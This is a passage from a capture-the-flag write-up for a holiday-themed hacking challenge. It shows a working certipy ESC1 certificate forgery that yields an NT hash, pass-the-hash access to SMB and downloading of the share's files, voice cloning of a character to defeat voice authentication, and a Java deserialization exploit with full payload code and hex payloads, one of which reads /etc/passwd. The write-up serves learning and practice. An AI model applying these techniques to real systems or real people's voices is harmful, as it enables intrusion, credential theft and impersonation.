[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231210234835_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231210234835_Certipy.txt'
[*] Saved JSON output to '20231210234835_Certipy.json'

alabaster@ssh-server-vm:~/impacket$ cat 20231210234835_Certipy.json
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "northpole-npdc01-CA",
      "DNS Name": "npdc01.northpole.local",
      "Certificate Subject": "CN=northpole-npdc01-CA, DC=northpole, DC=local",
      "Certificate Serial Number": "4275343F32DA99874CCB74F06E5CD532",
      "Certificate Validity Start": "2023-12-10 01:05:33+00:00",
      "Certificate Validity End": "2028-12-10 01:15:33+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "NORTHPOLE.LOCAL\\Administrators",
        "Access Rights": {
          "2": [
            "NORTHPOLE.LOCAL\\Administrators",
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "1": [
            "NORTHPOLE.LOCAL\\Administrators",
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "512": [
            "NORTHPOLE.LOCAL\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "NorthPoleUsers",
      "Display Name": "NorthPoleUsers",
      "Certificate Authorities": [
        "northpole-npdc01-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "PublishToDs",
        "IncludeSymmetricAlgorithms"
      ],
      "Private Key Flag": [
        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Encrypting File System",
        "Secure Email",
        "Client Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Domain Users",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "NORTHPOLE.LOCAL\\Enterprise Admins",
          "Write Owner Principals": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ],
          "Write Property Principals": [
            "NORTHPOLE.LOCAL\\Domain Admins",
            "NORTHPOLE.LOCAL\\Enterprise Admins"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC1": "'NORTHPOLE.LOCAL\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication"
      }
    }
  }
}

This reveals a certificate template NorthPoleUsers that is vulnerable to ESC1 - Misconfigured Certificate Templates Allows requesters to specify a SAN. Modifying the syntax of certipy slightly, use the previously obtained valid credentials to request a certificate for the principal name [email protected] that will allow authentication as that user.

alabaster@ssh-server-vm:~/impacket$ certipy req -u 'elfy' -ca northpole-npdc01-CA -template 'NorthPoleUsers' -upn '[email protected]' -target 10.0.0.53 -p J4\`ufC49/J4766
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 90
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

Using certipy authenticate as [email protected] to obtain the NT user hash.

alabaster@ssh-server-vm:~/impacket$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

Screenshot

Using smbclient.py connect to the file share (also located on the DC) as wombleycube.

Screenshot

Exfiltrate all files for intelligence purposes.

smbclient.py northpole/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
# use FileShare
# ls
drw-rw-rw-          0  Sun Dec 10 01:13:44 2023 .
drw-rw-rw-          0  Sun Dec 10 01:13:41 2023 ..
-rw-rw-rw-     701028  Sun Dec 10 01:13:44 2023 Cookies.pdf
-rw-rw-rw-    1521650  Sun Dec 10 01:13:44 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Sun Dec 10 01:13:44 2023 SignatureCookies.pdf
drw-rw-rw-          0  Sun Dec 10 01:13:44 2023 super_secret_research
-rw-rw-rw-        165  Sun Dec 10 01:13:44 2023 todo.txt

# mget *
[*] Downloading Cookies.pdf
[*] Downloading Cookies_Recipe.pdf
[*] Downloading SignatureCookies.pdf
[*] Downloading todo.txt
# exit

This includes retrieving the file named InstructionsForEnteringSatelliteGroundStation.txt which is the answer.

Screenshot

The file itself will be required for the following challenge and needs to be examined.

mget *
[*] Downloading InstructionsForEnteringSatelliteGroundStation.txt
# exit
alabaster@ssh-server-vm:~/impacket$ cat InstructionsForEnteringSatelliteGroundStation.txt 
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

๐ŸŽ… Space Island Door Access Speaker ๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Thereโ€™s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

โ›ต Destination: Space Island (Spaceport Point)

โœ”๏ธ Solution: Use AI to fake the voice of Wombley Cube and say a passphrase.

  • โ„๏ธ Sail west towards Space Island and dock at Spaceport Point on the foot of the island
  • โ„๏ธ Head north to find Jewel Loggins and the Space Island Access Speaker
  • โ„๏ธ Discover that in addition to the retrieved passphrase, it needs to also be said by Wombley Cube
  • โ„๏ธ Quick travel to Chiaroscuro City on Film Noir Island to find Wombley Cube and talk to him to retrieve wombleycube_the_enchanted_voyage.mp3
  • โ„๏ธ Using a voice AI service such as PlayHT, clone Wombley Cubeโ€™s voice and use it to speak the required passphrase
  • โ„๏ธ Play back the cloned voice into the Access Speaker to open Space Island Door

๐Ÿ’ฌ Jewel Loggins Conversation:

What are you doing here, and who are you?
Me first? I'm Jewel Loggins. And I was trekking through the jungle and happened to find this place.
I liked this spot and decided to set up camp. Seeing you here is quite the surprise.
Well, because the only other person I've ever seen come here is Wombley Cube.
I thought this tram station in the middle of the jungle was strange to begin with, but then Wombley added to the intrigue.
I guess all this spy stuff is typical for him, so maybe I shouldn't think much of it. I'm sure everything's fine.
Every time he comes here, he says something to the speaker. Then, the door opens, and he rides the tram somewhere.
I gave it a try, but the door didn't open for me. Knowing Wombley, it's some kind of secret passphrase.
If you wanna see where the tram goes, I think you need to find out what that passphrase is.
Ribb Bonbowford over at Coggoggle Marina on Steampunk Island works with Wombley. Try asking if he knows.
I hope you find it. I'll be here when you get back!
What, you know the passphrase!? Let me try it!
Nope, didn't work. Knowing Wombley, the passphrase isn't the only requirement. He's all about that MFA!
Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!
That's it! You need to be Wombley. You need his voice. Now, how are you gonna get that?
Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I'm sure there's one out there.
Are you like a master spy or something? I've only seen stuff like that in the movies!
It sure is scary what you can do with AI, huh? I sure hope ChatNPT has better guardrails in place.

๐Ÿ’ก Breakdown:

Sail west towards Space Island and dock at Spaceport Point. Head north to find Jewel Loggins who fails to use the passphrase to open the door.

Screenshot

Quick travel to Chiaroscuro City on Film Noir Island to find Wombley Cube and talk to him to retrieve wombleycube_the_enchanted_voyage.mp3.

Screenshot

Using a voice AI service such as PlayHT, upload wombleycube_the_enchanted_voyage.mp3 as a sample of voice to be cloned.

Screenshot

Note: We have all the necessary rights to clone and use the voice because Santa says so.

For the words to be said, ensure this is what was contained within InstructionsForEnteringSatelliteGroundStation.txt.

And he whispered, 'Now I shall be out of sight; So through the valley and over the height.' And he'll silently take his way.

Taking the cloned voice back to the speaker door, it can now be played back to the speaker.

Screenshot

This successfully opens the door.

Screenshot

๐ŸŽ… Camera Access ๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Gain access to Jackโ€™s camera. Whatโ€™s the third item on Jackโ€™s TODO list?

โ›ต Destination: Space Island (Zenith SGS)

โœ”๏ธ Solution: CONQUER HOLIDAY SEASON!

  • โ„๏ธ Enter the door and head east to find Zenith SGS on Space Island
  • โ„๏ธ Talk to NanoSat-o-Matic to retrieve the NanoSat MO framework
  • โ„๏ธ Use the Nanosat Christmas Comms system, and click the christmas GateXOR in the right corner
  • โ„๏ธ Time Travel to create a virtual environment that can be VPNโ€™d into
  • โ„๏ธ Deploy the NanoSat MO framework docker container and VPN into your virtual environment
  • โ„๏ธ Using the CTI Consumer Test Tool, fetch information from the nanosat-mo-supervisor-Directory
  • โ„๏ธ Connect to the AppsLauncher service provider
  • โ„๏ธ Launch the camera application and fetch information from the camera-Directory
  • โ„๏ธ Connect to the Action service provider and take a Base64SnapImage
  • โ„๏ธ Launch Wireshark to capture packets received from 10.1.1.1
  • โ„๏ธ Connect to the Parameter service provider and getValue of the Base64SnapImage
  • โ„๏ธ Using a hex editor, carve the Base64SnapImage from the packet capture and Base64 decode it
  • โ„๏ธ View the captured camera snapshot

๐Ÿ’ฌ Henry Conversation:

Hi, I'm Henry!
I built the satellites with personalities, and now they keep making dad jokes - whoopsies!

๐Ÿ’ฌ NanoSat-o-Matic Conversation:

Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!

๐Ÿ’ก Breakdown:

Enter the door and head east to find Zenith SGS on Space Island. Enter the door.

Screenshot

Talk to NanoSat-o-Matic to download the NanoSat MO framework. Use the Nanosat Christmas Comms system

Screenshot

Click the christmas GateXOR in the right corner to understand how it works.

Screenshot

Click Time Travel to get an isolated environment with VPN credentials.

Screenshot

Using the downloaded NanoSat MO framework, pull and deploy an instance using Docker.

systemctl start docker
./build_and_run.sh

Once built connect to the host using the noVNC web UI.

Screenshot

In your docker container use noVNC and wireguard to connect to the VPN via previously provided credentials.

nano /etc/wireguard/wg0.conf
wg-quick up wg0

Using noVNC and the CTI Consumer Test Tool, fetch information from the nanosat-mo-supervisor-Directory URI.

Screenshot

Connect to the AppsLauncher service provider and launch the camera application.

Screenshot

Fetch information from the camera-Directory URI.

Screenshot

Connect to the Action service provider and take a Base64SnapImage. Launch Wireshark to capture packets received from 10.1.1.1 (or 172.17.0.2 if via the virtual interface). Connect to the Parameter service provider and getValue of the Base64SnapImage.

Screenshot

Using Wireshark locate the appropriately long TCP stream containing the retrieved image by following TCP streams of interest.

Screenshot

Screenshot

Save this to a file (in this instance called TCPStream in /root) and copy it out of the docker container (in this instance 0fbe54ed55cb) for processing.

docker cp 0fbe54ed55cb:/root/TCPStream .

Open in an appropriate hex editor (in this instance HxD), and carve out the Base64 encoded JPG file.

Screenshot

Screenshot

Decode this data using a tool like CyberChef to reveal a photo of Jack Frost up in a satellite with a plan to CONQUER HOLIDAY SEASON!.

Screenshot

This solves the challenge.

๐ŸŽ… Missile Diversion ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Thwart Jackโ€™s evil plan by re-aiming his missile at the Sun.

โ›ต Destination: Space Island (Zenith SGS)

โœ”๏ธ Solution: Exploit a vulnerability in the missile-targeting-system application to aim Jack Frosts missiles at the sun.

  • โ„๏ธ Using the VPN connection from Camera Access launch the missile-targeting-system application
  • โ„๏ธ Fetch information from the missile-targeting-system-Directory and connect to the Parameter service provider
  • โ„๏ธ Attempt to set the PointingMode and discover something is preventing this from being updated
  • โ„๏ธ Retrieve and decompile the missile-targeting-system java application to locate database credentials
  • โ„๏ธ Identify an injection vulnerability within the application
  • โ„๏ธ Connect to the missile_targeting_system database
  • โ„๏ธ Locate INSERT privileges to satellite_query table
  • โ„๏ธ Identify SatelliteQueryFileFolderUtility class with deserialization vulnerability
  • โ„๏ธ Using ChatGPT develop a wrapper to deserialize and serialize objects with gson
  • โ„๏ธ Serialize an instance of SatelliteQueryFileFolderUtility which has parameters set to update pointing_mode to the value 1
  • โ„๏ธ Encode the payload as hex and insert this into satellite_query

๐Ÿ’ฌ Wombley Cube Conversation:

A... missile... aimed for Santa's sleigh? I had no idea...
I can't believe I was manipulated like this. I've been trained to recognize these kinds of tactics!
Santa should never have put the holiday season at risk like he did, but I didn't know Jack's true intentions.
I'll help you bring Jack to justice...
But my mission to ensure Santa never again compromises the holidays is still in progress.
It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph's Rest.
Use the door to the right to return to the resort lobby and see what happened!
Don't worry, I'll meet you there... trust me.

๐Ÿ’ก Breakdown:

Using the VPN connection from Camera Access launch the missile-targeting-system application.

Screenshot

Fetch information from the missile-targeting-system-Directory and connect to the Parameter service provider.

Screenshot

Screenshot

Attempt to set the PointingMode. Something is preventing this being updated, although it does show as updated for a brief time under the Published Parameter Values before quickly defaults back to Earth Point Mode.

Screenshot

Locating the NanoSat MO framework libraries within /opt/nmf/lib, the missile-targeting-system-2.1.0-SNAPSHOT.jar application can be retrieved for further analysis.

Screenshot

docker cp 0fbe54ed55cb:/opt/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar .

Decompiling this using JD-GUI shows a method called sqlGetMode which attempts to make a connection to the missile_targeting_system database by using a JDBC driver.

Screenshot

This also reveals a parameter which could be exploited to run queries against the database. It is ironically called injection.

Screenshot

This vulnerability exists when getting the value of Debug in the Parameter service provider; however, it isnโ€™t required now that thereโ€™s direct access to the database. First get the sqlite-jdbc driver class from the NanoSat docker container to support connecting to the missile_targeting_system database.

docker cp 0fbe54ed55cb:/opt/nmf/lib/sqlite-jdbc-3.32.3.2.jar .

Next, connect your host machine to the VPN using wireguard (rather than the docker container), to allow direct access to an adjacent system at 10.1.1.1. This adjacent system is hosting the missile_targeting_system database. Once connected, use SQuirreL SQL Client and setup the MariaDB Driver for MySQL and MariaDB driver.

Screenshot

Configure an alias to use the driver in question and connect to the missile_targeting_system at 10.1.1.1 on port 3306. Ensure this uses the username targeter and the password cu3xmzp9tzpi00bdqvxq.

Screenshot

Using the alias connect to the database and locate the various pointing modes.

Screenshot

Screenshot

Attempting to update pointing_mode causes an access denied message.

Screenshot

Examining the user granted permissions reveals only one table that targeter can insert into, satellite_query.

Screenshot

Checking this table shows a single query encoded as hex that resulted in a class being returned from the application called SatelliteQueryFileFolderUtility.

ac  ed  00  05  73  72  00  1f  53  61  74  65  6c  6c  69  74  65  51  75  65  72  79  46  69  6c  65  46  6f  6c  64  65  72  55  74  69  6c  69  74  79  12  d4  f6  8d  0e  b3  92  cb  02  00  03  5a  00  07  69  73  51  75  65  72  79  5a  00  08  69  73  55  70  64  61  74  65  4c  00  0f  70  61  74  68  4f  72  53  74  61  74  65  6d  65  6e  74  74  00  12  4c  6a  61  76  61  2f  6c  61  6e  67  2f  53  74  72  69  6e  67  3b  78  70  00  00  74  00  29  2f  6f  70  74  2f  53  61  74  65  6c  6c  69  74  65  51  75  65  72  79  46  69  6c  65  46  6f  6c  64  65  72  55  74  69  6c  69  74  79  2e  6a  61  76  61  
import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}

Screenshot

Looking at the hex already inserted into satellite_query shows a reference to SatelliteQueryFileFolderUtility, /opt/SatelliteQueryFileFolderUtility.java, and a number of other interesting entries including isQuery, isUpdate, and pathOrStatement.

Screenshot

Comparing this to the response received shows that the class SatelliteQueryFileFolderUtility implements the Serializable java class and contains 3 possible parameters isQuery, isUpdate, pathOrStatement.

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

The class specifically checks if the request isUpdate is set to false, and if it isnโ€™t it will perform an SQL update directly to the database.

 try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
     pstmt.executeUpdate();
     return "SQL Update completed.";
 } catch (SQLException sqle) {
     return "SQL Error: " + sqle.toString();
 }

Some trial and error with the hex inserted into satellite_query confirms that this is also loading the class /opt/SatelliteQueryFileFolderUtility.java from the remote host. Any attempt to request another file such as /etc/passwd causes an end of file exception, or path does not exist for files not on disk.

Screenshot

insert into satellite_query (object) values (X'aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b787000007400292f6574632f706173737764');

Screenshot

To exploit this vulnerability create an object of the same SatelliteQueryFileFolderUtility class with pathOrStatement set to an SQL insert statement designed to update the pointing mode whilst ensuring both isQuery and isUpdate are set to true. In addition understanding how gson has been used here and serialization as a whole is also required.

Consulting OpenAIโ€™s ChatGPT, a basic prompt of write me a serialisation wrapper in java for Gson gives back some sample code and an explanation.

Screenshot

import com.google.gson.Gson;

public class GsonSerializationWrapper {

    private final Gson gson;

    public GsonSerializationWrapper() {
        this.gson = new Gson();
    }

    /**
     * Serialize an object to a JSON string.
     *
     * @param object The object to be serialized.
     * @return A JSON string representing the object.
     */
    public String serialize(Object object) {
        return gson.toJson(object);
    }

    /**
     * Deserialize a JSON string to an object of the specified class.
     *
     * @param json  The JSON string to be deserialized.
     * @param clazz The class of the object to be created.
     * @param <T>   The type of the object.
     * @return An object of the specified class.
     */
    public <T> T deserialize(String json, Class<T> clazz) {
        return gson.fromJson(json, clazz);
    }

    public static void main(String[] args) {
        // Example usage
        GsonSerializationWrapper wrapper = new GsonSerializationWrapper();

        // Object to be serialized
        Person person = new Person("John Doe", 25);

        // Serialize object to JSON
        String json = wrapper.serialize(person);
        System.out.println("Serialized JSON: " + json);

        // Deserialize JSON to object
        Person deserializedPerson = wrapper.deserialize(json, Person.class);
        System.out.println("Deserialized Person: " + deserializedPerson);
    }

    // Sample class for serialization/deserialization
    static class Person {
        private String name;
        private int age;

        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }

        @Override
        public String toString() {
            return "Person{" +
                    "name='" + name + '\'' +
                    ", age=" + age +
                    '}';
        }
    }
}

In this example, the GsonSerializationWrapper class has methods for both serialization (serialize) and deserialization (deserialize). It uses the Gson instance to perform the actual JSON processing. The main method demonstrates how to use this wrapper with a simple Person class.

Using this as a bit of a guide, begin building upon the original SatelliteQueryFileFolderUtility class. Using Visual Studio Code on a system with Java is installed, begin to build out a main method that will return a serialised, hex encoded object that can be inserted into the satellite_query table.

Screenshot

Of note is that in the above script we first try and confirm that an object can be serlialised and deserialised successfully before producing an output that can be sent to the satellite. The main additions and modifications to SatelliteQueryFileFolderUtility are as follows:

โ›„ Extra Imports

import com.google.gson.reflect.TypeToken;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

For the completed solution a number of imported Java classes need to be imported.

โ›„ Modified SatelliteQueryFileFolderUtility Class

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;
    private static final long serialVersionUID = 1356980473442833099L;

For the completed solution a hardcoded variable of serialVersionUID needed to be set to 1356980473442833099 to fix a local class incompatibility issue when trying to insert the serialised object.

Deserialization/IO Exception: java.io.InvalidClassException: SatelliteQueryFileFolderUtility; local class incompatible: stream classdesc serialVersionUID = 3478225892575134164, local class serialVersionUID = 1356980473442833099

โ›„ Gson class and main method

    public Gson Gson() {
        Gson gson = new Gson();
        return gson;
    }

    public static void main(String[] args) {

        Gson wrapper = new Gson();
        SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
        Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
        String json = wrapper.toJson(Results);
        System.out.println(json);
        SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
        System.out.println(json2);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        try {
            out = new ObjectOutputStream(bos);   
            out.writeObject(json2);
            out.flush();
            byte[] Bytes = bos.toByteArray();
            System.out.println(Arrays.toString(Bytes));
          } catch (IOException e){
            try {
              bos.close();
            } catch (IOException ex) {
              // ignore close exception
            }
          }

    }

The brains of the code is above. First the wrapper code is used to create a new Gson object. From here a new SatelliteQueryFileFolderUtility object is created with a query set to update the pointing_mode, and the object type is identified for serialisation.

Gson wrapper = new Gson();
SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();

Next the object is serialised to JSON and printed before being deserialised and printed as the appropriate object. This confirms the logic functions properly.

String json = wrapper.toJson(Results);
System.out.println(json);
SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
System.out.println(json2);

From here a stream is defined that will host the deserialised object as an array of bytes that are then printed.

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
    out = new ObjectOutputStream(bos);   
    out.writeObject(json2);
    out.flush();
    byte[] Bytes = bos.toByteArray();
    System.out.println(Arrays.toString(Bytes));
  } catch (IOException e){
    try {
      bos.close();
    } catch (IOException ex) {
      // ignore close exception
    }
  }

This completes the crux of the code with the final class shown below.

โ›„ Completed class

import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;
    private static final long serialVersionUID = 1356980473442833099L;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining("\n"));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }

    public Gson Gson() {
        Gson gson = new Gson();
        return gson;
    }

    public static void main(String[] args) {

        Gson wrapper = new Gson();
        SatelliteQueryFileFolderUtility Results = new SatelliteQueryFileFolderUtility("update pointing_mode set numerical_mode=1 WHERE id=1;",true,true);
        Type listOfMyClassObject = new TypeToken<SatelliteQueryFileFolderUtility>(){}.getType();
        String json = wrapper.toJson(Results);
        System.out.println(json);
        SatelliteQueryFileFolderUtility json2 = wrapper.fromJson(json,listOfMyClassObject);
        System.out.println(json2);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        try {
            out = new ObjectOutputStream(bos);   
            out.writeObject(json2);
            out.flush();
            byte[] Bytes = bos.toByteArray();
            System.out.println(Arrays.toString(Bytes));
          } catch (IOException e){
            try {
              bos.close();
            } catch (IOException ex) {
              // ignore close exception
            }
          }

    }
}

To compile the class into a usable Java Archive, the javac command needs to be used whilst specifying the path to gson-2.8.6.jar after downloading it from the maven repository. To run the application the gson class needs to also be specified using java -cp gson-2.8.6.jar: SatelliteQueryFileFolderUtility.

~/Documents$ CLASSPATH=./gson-2.8.6.jar javac SatelliteQueryFileFolderUtility.java
~/Documents$ java -cp gson-2.8.6.jar: SatelliteQueryFileFolderUtility
{"pathOrStatement":"update pointing_mode set numerical_mode\u003d1 WHERE id\u003d1;","isQuery":true,"isUpdate":true}
SatelliteQueryFileFolderUtility@16b4a017
[-84, -19, 0, 5, 115, 114, 0, 31, 83, 97, 116, 101, 108, 108, 105, 116, 101, 81, 117, 101, 114, 121, 70, 105, 108, 101, 70, 111, 108, 100, 101, 114, 85, 116, 105, 108, 105, 116, 121, 18, -44, -10, -115, 14, -77, -110, -53, 2, 0, 3, 90, 0, 7, 105, 115, 81, 117, 101, 114, 121, 90, 0, 8, 105, 115, 85, 112, 100, 97, 116, 101, 76, 0, 15, 112, 97, 116, 104, 79, 114, 83, 116, 97, 116, 101, 109, 101, 110, 116, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 120, 112, 1, 1, 116, 0, 53, 117, 112, 100, 97, 116, 101, 32, 112, 111, 105, 110, 116, 105, 110, 103, 95, 109, 111, 100, 101, 32, 115, 101, 116, 32, 110, 117, 109, 101, 114, 105, 99, 97, 108, 95, 109, 111, 100, 101, 61, 49, 32, 87, 72, 69, 82, 69, 32, 105, 100, 61, 49, 59]

The above byte array can now be converted from Decimal into hex so it is ready for inserting into satellite_query.

Screenshot

Submitting this into the database shows the message SQL Update completed indicating it was successfully deserialised and executed by the missile-targeting-system to point it at the sun.

insert into satellite_query (object) values (X'aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174003575706461746520706f696e74696e675f6d6f646520736574206e756d65726963616c5f6d6f64653d312057484552452069643d313b');

Screenshot

Immediately this solves the challenge and Wombley Cube mentions that the satellite crashed near Rudolph's Rest.

Screenshot

Accessing the door adjacent to Wombley Cube shows video footage from SANTA SAT CAM-02 of what just happened.

Screenshot

โ„๏ธ The Finale

